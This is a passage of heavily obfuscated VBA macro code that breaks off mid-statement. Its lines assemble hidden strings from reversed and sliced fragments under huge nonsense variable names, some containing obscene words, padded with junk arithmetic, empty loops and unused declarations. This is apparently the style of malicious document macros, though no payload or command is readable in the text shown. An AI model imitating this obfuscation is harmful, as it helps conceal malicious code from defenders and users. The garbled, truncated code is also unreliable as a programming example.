StrReverse(\"ssec\")\nsandrabranchbeltsthrownpharmacy = Not (226 > 377)\npetiteparticipatedmarshalltypesviphackerblockslisteningspecificalgebra = LTrim(\"prospectiveceremonylabvistasillypre\")\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"ofyti\")\nRem littleparisoemdrumfoldconsistencyforecastacademy\nRem definitionsunixgroundsxxxcommunistbloodybeguncordshorts\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + Mid(\"teethfotobesidesrobertsublimevburtsecurelyweapontripfordwebmasteruserdapestleadersmajoritynbcanadian\", 32, 3)\nsituationcomplicationsdirectivecyprusdesignerratiossensorreynoldsnjhousewives = Array(\"carlvibratorsprovincesmallestdespiteinnvariablesratiosshaft\", \"vocaladaptormatrixairportthrowingintensitywidelycarlosshootingcashiers\", \"compliancebeadswaxbloomberglaptinmerryperspectives\", \"festivalsindexeseausagejudgesaustinlighterbears\", \"imposesawarenessreasoningtoocpucharm\", \"glwhosepillrespectivedraft\", \"essexratedcombinationswrong\")\nDim tommyconsciousexperimentalelectronbhutandispute As Integer\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"odneh\")\nDim berlinchosejohnsonlawhandedexhibitsstanley As Variant\neventsarcticparagraphspeaktreasuryindicatesextremeimprovinglo = StrReverse(\"chartscrupdatingunavailablesurelywondering\")\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"desr\")\nDim nancyaboriginalheavilysundaywingusefulcolleaguesmassachusettspolar As Boolean\nDim gamecubecomputationcounterestablishedstaticexcitementpostalspinsupplement As Integer\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"ceerf\")\nDim brookszambiashortcalculatewomens As Integer\ndrinktroyforecastvulnerablepicnicbrothers = Chr(7)\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"difno\")\noutstandingfixvanillatributeplaydiysalemarcimproved = Not (570 < 217)\ndiamondsquerytermsintegerdiscussesbeautydevicesher = 335 Mod 543\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"tne\")\nevalpermissionsapphirebouquetopenedupuseryerurlsknowledge = 794 Mod 891\n'hostedanimalscrsuchallegediancalciumdaddypontiac\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + Mid(\"jumpdaytoncentsadvocacyhomesgenuinecommitteeenemyialgpostinggotshadowpackagingprojectoroccurrednarrow\", 50, 4)\nislandsvelocityelsewherecyclesagostylegrand = Space(87)\nconceptsconversationsmentionedconductingplanecarolina = 5304\nvolumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality = volumesbarelyintervallimitingholmestherapistcataloguereliabledirectionsquality + StrReverse(\"kee\")\ncommonssunsetnrcandlestownslimitingwholemold = 292 Xor 51\nairlinehostedirrigationrepublicnowherescanned = RTrim(\"functionalityverizongenerallyevolutiontitaniumsongsfellowship\")\nturtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible = \"\"\nturtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible = turtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible + Mid(\"entireprepareshiftinvestmentknocknudeaccommodatefightersduckincentivescreekcolorscriminal\", 34, 4)\nseafoodelliswarcraftearlguaranteetremblshopsfavorsrosesplanet = Not (112 < 567)\n'switchresidencefunctionszimbabwe\nturtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible = turtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible + Mid(\"aberdeenacceptablelayerscompaniesmeetstanleyconnectingdraggreatmemorabiliahowleanfinancialsovietvalregular\", 75, 3)\ntoddsustainableancientsleeping = RTrim(\"inclusionnhlparispreservepanelmeeting\")\nafterwardsboxwarcraftdevicesbangbusdental = 9176\nturtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible = turtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible + Mid(\"clinicstrinitysidebitchexpgolfapproximatetsshieldframingidentifier\", 24, 3)\nhispectacularsomebodyfullymariogabrielsundayethnic = 68 Xor 882\nDim dvdfarmscarterlegislativehospitalityvanillapractices As Integer\nturtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible = turtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible + StrReverse(\"rabo\")\nDim nirvanawrapcontinuityforecastssupervisorsfightdroppedadvantages As String\nsincebreadconstitutionalhepatitisreachingtoidlepointingdetermines = Not (666 > 453)\nturtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible = turtlecharlestonkeepingseemedaffiliationdiscretionwitnesscosmeticcollectible + Mid(\"positiveeggsexecutivesweaklacktcethiopiacorrectionnesvillagescanadaexhibitsteamsacrossjetsawardedmurphymeasurement\", 51, 3)\nDim eventsfunctioningsupplementpatternsexamsqueryinvolvebindtrunk As Object\ndipinspectionswarnerdeckpricealternateansweringxhtml = 2313\ncementresolvedranage = \"\"\ncementresolvedranage = cementresolvedranage + Mid(\"supervisorssteadyawextcompdeutschepatplayingspectrumnickeldispatchedhorses\", 35, 3)\npossibilitieswalletsharecentercurious = StrReverse(\"antibodiesmenslovedindependentorganisationsconfiguringrogersmarkets\")\nDim reflectionspossibilitiespossessapproximateknowledge As Variant\ncementresolvedranage = cementresolvedranage + Mid(\"expectedforestproductanimalsregardlessdisputedlluciacrosswordrickitoplessraleighsectionsbirtharguespecializingwordbiggestmerger\", 62, 5)\nsambaidswarsroofchest = Chr(52)\nteddyborderscloseusertterflyfinancingcomplicationsnaplescyclingblues = 1852\ncementresolvedranage = cementresolvedranage + Mid(\"warddebateknowledgestormlankathingremoveconservativeblocksndiaopposedcitizenswesterniecheckedkilledresulted\", 59, 4)\nDim eaglestoystrackbass() As Byte\nDim runtimepromotescgauthenticationstar As Object\ncementresolvedranage = cementresolvedranage + StrReverse(\"lopan\")\nsistersparagraphsmovementdecorating = Not (940 < 551)\nsolutionsprogrammeravgsufficientlyexplainedhillschanged = 4719\ncementresolvedranage = cementresolvedranage + StrReverse(\"elsi\")\nwalkingneckparticipatedsymboluvprintedrelyingreynoldsreception = LTrim(\"arrivallikewisewelcomepreventionrepresentscolorprerealityrepublican\")\ndurationkeysrebatespagescableshipmentfruits = Not (126 > 679)\ncementresolvedranage = cementresolvedranage + StrReverse(\"dda\")\nioncomparisonskypeelseshedrntips = Not (649 < 404)\nelecteddirectowenpourrepresentativesgenevaofpermanentmanga = 882 Xor 356\ncementresolvedranage = cementresolvedranage + Mid(\"aviationstrategyvisitcnetpodscanningcasereferenceadverseebtmehullmetallicvirginiaspectrumreactionsacceptancehowbloggersshaped\", 57, 5)\nDim changeschargercheesethroughadmittedaircraft As Object\nplannerlaboratorieslightboxstronggentransfersstandardfp = LTrim(\"moleculeuserttersmoothsubscriberpacketselder\")\ncementresolvedranage = cementresolvedranage + StrReverse(\"inahc\")\nmbasingingkeithviolationsquizzestvgrowingchatframework = 136 Xor 322\nprintabledeviceivorystarsrickydeferred = RTrim(\"savannahminutecassettecustomers\")\ncementresolvedranage = cementresolvedranage + Mid(\"negotiationsmarchsubjectbargainsbpmartapartmentsvoyeurwebsmscorolleromspraydemandingunidellmulti\", 58, 5)\norgasmcarscolelegacymolecularmetricrevolutionappearedblocks = Chr(143)\nDim motelsrangerreefbelievesestatesoccasionstoplesspatchesbracket As Integer\ncementresolvedranage = cementresolvedranage + Mid(\"navymsgstrpersonalityhostelsnfigucommunicationsstopsdefininglogicalsurveyeyes\", 29, 5)\ngcargumentsbridgeposcheatsoxygen = Chr(210)\nDim startingkgimportsrequirementtimberwelfareintendstandardbeliefgourmet As Variant\ncementresolvedranage = cementresolvedranage + StrReverse(\"ser\")\ngeneratingbecomesgalesystemsrotationinappropriatehrefreg = StrReverse(\"pestvaluesknifeeditionlynncolonycomprow\")\ndemandingneckhappensbookingsrepresentationseasonbreachbankruptcy = 227 Mod 690\ncementresolvedranage = cementresolvedranage + StrReverse(\"evet\")\nsciencessupervisorstemplemealcatpledgesupervisorsaccident = 989 Xor 425\nwrimplementedgenerationsfossilmoodbloodytell = Chr(227)\ncementresolvedranage = cementresolvedranage + Mid(\"programratsfirmsspecsdoctorsheavendotpknowledgeorgasmrealtorsspeedeconomy\", 35, 4)\nRem usbraidbeginnersstuffedchristemporarily\nnwcreamassessmentshaftpolarmiracle = Not (800 < 594)\ncementresolvedranage = cementresolvedranage + Mid(\"collectorpoemprepaidkillinglayshazardsadsharvestldexaminedareata\", 28, 4)\ntonyrmviewedamdukrainegradefw = StrReverse(\"shakespearearrowincreasinglydifficultiesvisited\")\ncamscertificatespassionpublishingvolkswagenprep = 899 Xor 569\ncementresolvedranage = cementresolvedranage + StrReverse(\"oitat\")\nDim billscalculatorlareynoldsallmatchesseafoodburns As Object\nreachbulletconstraintautomotivereferralblackjackspam = Space(47)\ncementresolvedranage = cementresolvedranage + Mid(\"dirtavonnativetouristcompliantbelleconcertnationwidenlargestinvestmentsworncampbelltroutviewsyracuse\", 53, 1)\nDim uwdrugspluginaccompanieddegree() As Byte\nmeanscoordinatorfaxrelated = Not (766 > 469)\nmaypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis = \"\"\nmaypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis = maypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis + StrReverse(\"edrob\")\nDim mongoliarenogzipestablishnewsletterscanning As String\n'humidityrostercavespasmeat\nmaypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis = maypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis + Mid(\"lgtionknightscellularmonacorssurmeasurementshundredsvibratorsspinepreciselylolitahabitat\", 28, 5)\nbrusselswarcraftpanelabvote = Space(64)\ninquiryautomationguyappraisal = RTrim(\"pdtlogosremainsnudebeavercourt\")\nmaypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis = maypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis + Mid(\"postgovernmentalaquaticbbwbearingwalnutgesominstallationsjcjournalistsrecentmatrixbrutalsawour\", 40, 5)\nDim compoundsflexibilitycmlewis As Variant\nDim encouragelebanoncriterionaquariumbootsnationscorrectionproducersscheduled As String\nmaypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis = maypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis + Mid(\"refinancedatabasesreceivesreflectionsehonutritionregardingcingularsurvivorgloryrehabafsemibehind\", 38, 3)\ndrunkfighterwooledinburghtransmittedactivitiesadoptedhimwestmines = 321 Xor 869\nDim ceboarditemsofferingsworstburningrecognitionforecastsadjustable() As Byte\nmaypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis = maypromotescloselypsychiatryacbitappraisaldonaldfolkarthritis + StrReverse(\"uksw\")\nclearedsenegalaskdisplayeddelicious = Space(19)\nholmesacreumbuilding = Not (804 < 48)\nbrieftdareasdatapolardealtbusy = \"\"\nbrieftdareasdatapolardealtbusy = brieftdareasdatapolardealtbusy + Mid(\"practicessnforknortheasthashacceptdirectiveshavedseekdownloadablechipspotentiallynormrequestingnovelty\", 50, 4)\ndisableddiedproofmemoriesspypopulationtrembltiedtwist = Array(\"transactionseasilybrieflysoundfingering\", \"databasepanquestsolutionregionalradarsoughtkickwasstuff\", \"hdpussyaidsbrothersgaychristianspreservationencouragesfuneral\", \"ratioconsciousnessffcomputationplatechipsgeorgia\", \"orlandofamiliesbiographyoncedisagreejar\", \"autojarussiaacrestress\", \"madisonoperatesunaprotected\")\nresumemonkeyindonesiafruitmeasurementsgrowsfranchisenoise = Not (582 > 233)\nbrieftdareasdatapolardealtbusy = brieftdareasdatapolardealtbusy + Mid(\"defendagbishopdrawnexhibitsingtalesappropriateenterpriseexplorercontainedcopyrightssizedinfraredtrip\", 28, 3)\nsearchessmilieslongitudestep = RTrim(\"automatedprinterwavtradesfitssightplymouth\")\nrespectivelypetitewillowrestorecarlosdangerouslaptopprovincialbeanschanged = LTrim(\"suddenlytoursdeanrecognition\")\nbrieftdareasdatapolardealtbusy = brieftdareasdatapolardealtbusy + StrReverse(\"eddma\")\nconferencingutilitypetsscrollsole = Not (308 > 1008)\nDim agentprospectinductionsheriffnepalcitizensgerald As Integer\nbrieftdareasdatapolardealtbusy = brieftdareasdatapolardealtbusy + StrReverse(\"nits\")\nFor communicationscountertribuneteachesict = 8317 To 7711\nDim patriciavisitedcubeexactvessellesserofferingunaronmounted As String\ntestimonialsdemonstratequotedmaintenancetippmgambling = Not (342 < 405)\nNext communicationscountertribuneteachesict\nDim pushintakeseqrefertrainer As Object\nbrieftdareasdatapolardealtbusy = brieftdareasdatapolardealtbusy + StrReverse(\"noita\")\nfeatrepublicstylusmadagascar = Chr(228)\nDim congodegalegtkbadgeminister As String\nbrieftdareasdatapolardealtbusy = brieftdareasdatapolardealtbusy + Mid(\"platformsgurubraceletsmadonnavancouvernicolesspeshadesdotlessonsapproximatelydecentplannerexists\", 45, 4)\nmercurybutlersnowpros = Not (967 > 48)\nDim dellfewthereaftersessionsqueensadvancesneedsatlanticquestionnaire() As Byte\nbrieftdareasdatapolardealtbusy = brieftdareasdatapolardealtbusy + Mid(\"fundamentalscolonialplayerchristopherguestmlbargumentscdtitalyrmexplosioncancellationelectronicssunblockedprimarilyveteranpanties\", 63, 2)\n'engagesurvivorsdeutschebrowsersrestrictfunctionality\npreparedscientistlatercabinengagedmotorcycles = 641 Xor 359\nphantomphilipemissionintoclassic = \"\"\nphantomphilipemissionintoclassic = phantomphilipemissionintoclassic + StrReverse(\"pac\")\nDim bmwbroaderkeysdrillingagainscoreshiredleasingsearchseparated() As Byte\nDim transmitfindsmortalitylungletlogic As Object\nphantomphilipemissionintoclassic = phantomphilipemissionintoclassic + StrReverse(\"dlati\")\nDim skatingsuitprecisioncodingphenterminecompressedtcplonelymusicianslicking As Object\nDim puzzlecopiedpagesferrarircaelsewheretx As Object\nphantomphilipemissionintoclassic = phantomphilipemissionintoclassic + Mid(\"tribeguidesoptimumstrengthenmarineriveralbladetemplatespositionsbadgedatabase\", 35, 5)\nFor forbiddenoptmuslimsstickersaustriggerres = 8246 To 1044\nDim abubeginneranimalframedhavenfurgrade As Boolean\ndifficultregardingmobileslawsuithampshiremarcussexoconversationsmilfsmineral = Not (765 > 140)\nNext forbiddenoptmuslimsstickersaustriggerres\nviewersperlteenagewarrantidealsquarerapidphdscratch = 395 Mod 700\nphantomphilipemissionintoclassic = phantomphilipemissionintoclassic + StrReverse(\"tytq\")\nDim ajcollectinggratefulaccreditationlizcraftclustersusb As Integer\nathensexpirationmadridholocaustpdsingle = Space(42)\nphantomphilipemissionintoclassic = phantomphilipemissionintoclassic + StrReverse(\"o\")\ncalciumexaminedconsumersbalancedreportssurcomputerspi = Chr(78)\nagainwaterassistedthinkpadhaitiready = Chr(220)\ninterpretationhuntervenuesvelocitygenevamonitors = \"\"\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"durhamyouthpdaknockstepshairpeacefulholdcreaturessynoresumesdetermininglabeledoccasionalexplaingzipfuelflowers\", 50, 4)\nstudyingexplorationconsistingcombotestimonycalendarangle = Space(16)\nplanscontrolledintegergreenehighertogetherglucose = 254 Mod 387\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"tueinventiondamagewatchesworryheadquartersadamshighwayspsiadvocateandreabeeionmalawiaudiencedebategb\", 56, 3)\nalertinstrumentsparkerdesignationministryeliminatephotographerspharmaceutical = 338 Mod 869\nsponsorsbabiescolinfocusgeneticcellconfirmationmarshprompt = StrReverse(\"levelvacuumarmeliminatestuckpurchasingoptimization\")\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + StrReverse(\"wens\")\npollutionedairportburstbenefitpoolsdefectscar = 293 Xor 573\nDim containingpandecreasedstopped() As Byte\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"bandsomsandychipsexceptpassageairplanebendcastreviewedsaysapplicantscurvechryslermambo\", 43, 4)\ndisciplinaryairportproperjeffersonontarioimgespndietary = 8037\nmsgidknowledgenirvanalimitationbasedsprings = Chr(167)\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + StrReverse(\"pel\")\nburkeolivenarrownucatherinechristiandeferredderrestrictions = RTrim(\"workshopsentireiaconsistentlydlphonesclone\")\nreadilydialogcomfortableplotsguestbookhisnurses = Not (130 > 68)\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + StrReverse(\"ela\")\nDim fantasybarrelsophisticatedted() As Byte\nstreamsrpmpolarbonestranslongitudeseaseducationaltraditioncamel = StrReverse(\"suddenheathdautumnchoiraquatic\")\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + StrReverse(\"inits\")\nsupportingsandycommissionersincidentabstractsitemsshemalesclassification = Space(39)\nDim posingcommissionshabitsgenerateextrasemperorchar As Boolean\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"prairiesubscribewifeillinoisncguidesrangersantextempislandmicdavidsonmustelectronicswillowru\", 44, 5)\nstartsspecialistaddressmetallickeepdesktopsinappropriatejobconsortium = Not (437 > 557)\nDim huntingtonantmanageactivelydiameterindexedrebatesebay As Variant\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"coverageringtoneaboriginallouisbattesnakereadilyjoinmass\", 32, 5)\npacconstitutionmycashnavigationbluesvisitsseat = Chr(214)\nadjustedpurchasesthirtywang = Not (579 > 336)\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"gotjournalismprogressluxuryrecipesordereddrawnslipryifoundeddeterminelanguagesibmthustensionequalityvista\", 51, 3)\nDim boliviagamingscriptsshanghaioldimposedweblogswnphysiology() As Byte\nridenginesmichiganfossil = LTrim(\"thyreductionappealsnightshasoopshappenfairlyheldraw\")\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"exhibitfgfuturesrapromotingpolicebecominginterestndoneattackdarwinrouletteimportdoslovelycharacteristicscomparison\", 50, 5)\nRem messagesshieldeastbonusacrylictroops\nDim wisconsintrianglelpnomoisturebasinpresentationswallace As Object\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"visitlloydplayerstylishbrazilpolyphonicsiaareunionnecklacelogicalemailmoreoverpriestpctpension\", 40, 4)\nDim patriciareasondslcovermedicalstuffedtaylorcoins As Variant\nDim infowakestrongergentlydivisionstaxationbutterfly As Boolean\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + Mid(\"kurtomahasnowboardcrudecomputevictimsreadingsheaderpossibilitypartmrcaaudioolivegenerationsbiggerquarterlycontractinglimits\", 63, 5)\nRem bestialitypharmaceuticalaidsdonorsbidderlexmarkjohnsbinary\nnightlifesheriffexpenditure = Array(\"tiirabathroomphys\", \"sallymusicvulnerabilitydispatchedaudcemeteryroulettedomainprospective\", \"gabrielgirlstennesseecoveragealotbiotechnologycasalift\", \"insectsthinkpadjenniferind\", \"assignminimumconsistencywoodegyptspecsintel\", \"wasteozbrowserswarningdevicesopinions\", \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzsettlevintagetwistproceedingsoasishappenwendy\", \"earlierquestbangbussharewarepaperbacks\", \"qualitybbroommatecarbonpestwork\", \"groupmechanicsnationaladmissionfragrancesscreen\", \"girlfriendthirtytooknoonwaxengineeringindianadegreefootwear\", \"trackingdozensubscribenonpsychologyindividual\", \"logicfigjokewantingmountimpressedokaymissourismithsonian\", \"codrumsaddingbraveaheliteposters\")\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + StrReverse(\"lstne\")\ntcflorencembainstantlostconstraintindependencealloyangelagras = Array(\"dentalnodefingerswingnearby\", \"wayparticipatingwireskingsrepairmastercardappliedmodified\", \"episodestransportationlettersworshipinitialhuntingfattydiskconditionsrefrigerator\", \"gsoperationfolderssuggestsmotionregardingfogneckclips\", \"trafficproceduretwistedandreaguaranteeevaluatingbrokervichandbagscaught\")\nbelongsrangingsimilaryesterdaygreenhouseperformingfujitsunevadaexit = RTrim(\"maintainintersectionstarringherbsulglovescroatiabrieflyremembered\")\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + StrReverse(\"mykcu\")\nRem henrycrapscountysean\nbroaderdildosABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzbikesquarterscritical = Chr(252)\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + StrReverse(\"ramv\")\nDim historyratednewmannavigatortypeprogressgunslitecorporate() As Byte\ndownloadedlogitechnormancoolladies = 7356\ninterpretationhuntervenuesvelocitygenevamonitors = interpretationhuntervenuesvelocitygenevamonitors + StrReverse(\"t\")\nboostserbreedpreparation = 156 Xor 93\nsecretariatcedarbacterialenteringbladehelpinggeometryrinvestigate = Array(\"nonepvcbusinessesmereratminutesvisitedsilentcomfortable\", \"getwestminstercuriousemmafindswedishinvestingslowly\", \"appealcoastadvisesign\", \"cpbdsmmichelsustainablesupportvictoryporkdisabilitiesflameliable\", \"somacontrolledmarkersecureddesiresurvivorscapeaerospace\", \"acmcursorfundtutorialscemeterysufficientphotographybath\", \"societysenderproteinswaitingpriest\", \"passpixroadsstoredservicesdiningatlanta\", \"lsspreadsleepwhatevernigeria\", \"programsvsresumequiteste\")\nbodiesearnedcaddevelbrokerswritersadultslouisiana = \"\"\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + StrReverse(\"bsa\")\naccordingmodulessynthesisgemfujitsumphspareclosely = Space(39)\nntdedicatedclaimedmalicareersperlifetimeconservative = Space(59)\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + StrReverse(\"sotse\")\ngirlscapitalmatchensureszshopsbarbara = LTrim(\"curiouspermanentyahooceltic\")\nRem pokemonasscertificatereductionnoblereferralsaffiliates\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + Mid(\"somewhatcommonmonetarystrongbeanwestesomersetsoonretainedembassylookup\", 33, 5)\ncensusstudiedspiderfundcontainer = RTrim(\"scheduledwillowcriticsmodel\")\nchadwholesalelargestresulted = Not (470 < 767)\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + StrReverse(\"tognr\")\nconsistentlyquantitiesqualifymotorola = RTrim(\"suppliedgentlemandeletedarisetigershappeninglemonweekends\")\n'biggestcharacteristicfullhabits\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + StrReverse(\"uqo\")\nDim debtconferencepaulswitcherpattributestakeholderstuningdarkness As Integer\nDim warnerqualitiesproducingresolution As Integer\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + Mid(\"renaissancerepresentationsrehabguaranteesseriousdrawprettyestiringhospitalityrestaurantscopeng\", 59, 4)\nRem berlinwoolbattlefieldsecuredmerchantgenome\n'broadertheoreticalgeneralacademicsawesome\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + Mid(\"walkingarbormorningtransferspubsmomentsonfextendsskipnaturalssponsorstwelvegrowing\", 40, 3)\nnewerpetersoncontracthugheslisakindsreproductive = StrReverse(\"desperatesourcesdocspromisesrnaadipexbenchduncan\")\nDim affiliatestechnologycornerskingstonwishing As String\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + Mid(\"openedtwinsrisksaslooksleepingboltinitiatedligscriptingtreatmentpursegonna\", 44, 3)\nDim pensionmaltafootwearregionsprobablycircuitdangerlt() As Byte\nFor collectivelightweightscannersregardedstrangecolombiabennett = 7376 To 4300\ncollectorssellernashvilledatpridedigittrainedport = Space(10)\nciviliansetchilerememberistanbulmbaelectroroommatesyoungerslight = RTrim(\"sigbracketdeveloperwisconsinoneshighwaysterriblelined\")\nNext collectivelightweightscannersregardedstrangecolombiabennett\nbodiesearnedcaddevelbrokerswritersadultslouisiana = bodiesearnedcaddevelbrokerswritersadultslouisiana + Mid(\"cottonemiratesglassptshtsshareantiquefoundationsdarwinsurroundingnutitled\", 23, 3)\ncorporationpeaceleubeeroutdoorsexceptmarshalltraditionactortit = LTrim(\"basementsuccessfularoundcambridgemarijuanaparadise\")\narchitectpromptlyconfusedlabourdublinresultsreviewingroundsbrakescleveland = Array(\"lastingiconproduceshandlingtearsinvestigated\", \"princenicesmallacts\", \"humanityconsideringtheoriesresearcheressentialrequestsapprovalcanbroken\", \"miscellaneouswantcensuusernchspotlightwalletpagessubscriptions\", \"operationsganimalswebcamseverybodyvideosphilosophy\", \"alternativedramaticpdnorwaybellereliefguistatutesquiapplicants\", \"screeningdresseddoingtinyfairlycodingworlds\", \"scholarshipuniversalsubstanceoil\", \"ricepacklayersdavidcaroline\", \"healthyindexedcircuitwordexecutionmachines\", \"permittedswitchesserialass\")\nholmesgenresminuteunits = \"\"\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"ved\")\nDim expmilfhunterdangerousinquire As Variant\nbottleswiressessionrecoveryharryziparemotivatedtestedreel = 6202\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"ole\")\npremisesinitialconverterpulsesaverconsolidationgibsonratings = LTrim(\"templatesucceedjeremylocationtrial\")\nDim securelyinvitationadaptersaliceexcitedgraveanalystpaperbacks As String\nholmesgenresminuteunits = holmesgenresminuteunits + Mid(\"workingpeoplecitationtextileoneathleteshqtippinconstitutetechnologicalcommonwealthtremblmaidenbufferprinters\", 45, 3)\ntommyfeaturesedsauburnnewarkmentionedreadermomentum = Space(64)\nDim checklistcampusincorporatepolishedneighborhoodclassifiedbrochuresmapsol As Boolean\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"nifg\")\nDim cliffmosesmoorego() As Byte\nDim spiritsrationaldeputyanimebrisbanecultureripactuallyreggae As Object\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"non\")\nperipheralhousewivespartnershippontiacmossassistedseriouscolonial = Not (39 < 443)\ndivisionlancewiveslouisianarestructuringtrinidad = Array(\"amdskillstypingflyertakeagearmsuitesfujitsu\", \"displayhandheldsceniclibsapproximatelyartistguides\", \"yearsjuanattorneyaustriareflectedmesatipsimportsphoto\", \"henceminesconfirmedthreatendangered\", \"accidentslabyachtcouncilrevisedtonsmirrorsapindependenttherapist\", \"detroitsecuredacademicsdemonstratedspell\", \"ratsmusiciansdoneonekarmaplusarchitecture\", \"targetsdirtminiaturejerseyspaninstituteefficiencybring\", \"getsbrowsingreceptionwalesscrollcuriouscentresfirefoxnicaraguanebraska\", \"soxwashingtonreligionsafternoonnortheast\", \"greeneriverposingpk\", \"sheexplorepeasnlrebatesusageadidas\")\nholmesgenresminuteunits = holmesgenresminuteunits + Mid(\"evanescencekathyrdclipevolutionpperedicerestrictedbradfordrepresentingenzymethreadnokiageek\", 34, 3)\njoiningbookshinewhocustomersmaintainingfestivalevegalecompensation = Not (955 < 724)\n'initiallynoveltyminboulevardgaugesurveyquitboxedlu\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"calp\")\naceflexibilityjacobcant = StrReverse(\"surveyhatenorfolkbitkeepcommentedfirstfinishingdurham\")\n'showdesjpbrucernsbjctmarinahayesht\nholmesgenresminuteunits = holmesgenresminuteunits + Mid(\"accdouggmbhguyanaedfelbasedmasterlampssprintsodium\", 18, 5)\nspecialparticipantsbryantsierramodemindustrialsierra = 1381\nlinkbasedexceedcame = LTrim(\"imagesduckreplacedhuntingtonwelsh\")\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"wol\")\nperthformulagainedraise = 644 Mod 414\n'adrianimagesamplesspeakertitansbrandon\nholmesgenresminuteunits = holmesgenresminuteunits + StrReverse(\"pihs\")\nDim selectionsfoxclockmonitorsrunnerapplybottleshalfchemicals() As Byte\nbenteminemchifloorinquirehelpcastleyoursmagazineppc = 662 Xor 1003\nholmesgenresminuteunits = holmesgenresminuteunits + Mid(\"authorsreferprozacbasketswikidickcomparephasescheaperseesvariloggedcertificationjoinenglishquestionsconnectedmanagers\", 58, 4)\nlogbarslegislativeboredarizonacalled = Array(\"showedaggressiveloopstargetanimalsenteredcollegeinventiontracthybrid\", \"michaelpaintolympussnakechristianspointingannex\", \"toplessiraqiprovisionstylerseatinline\", \"startupconfusedcubeqtblackberryshorefeelings\", 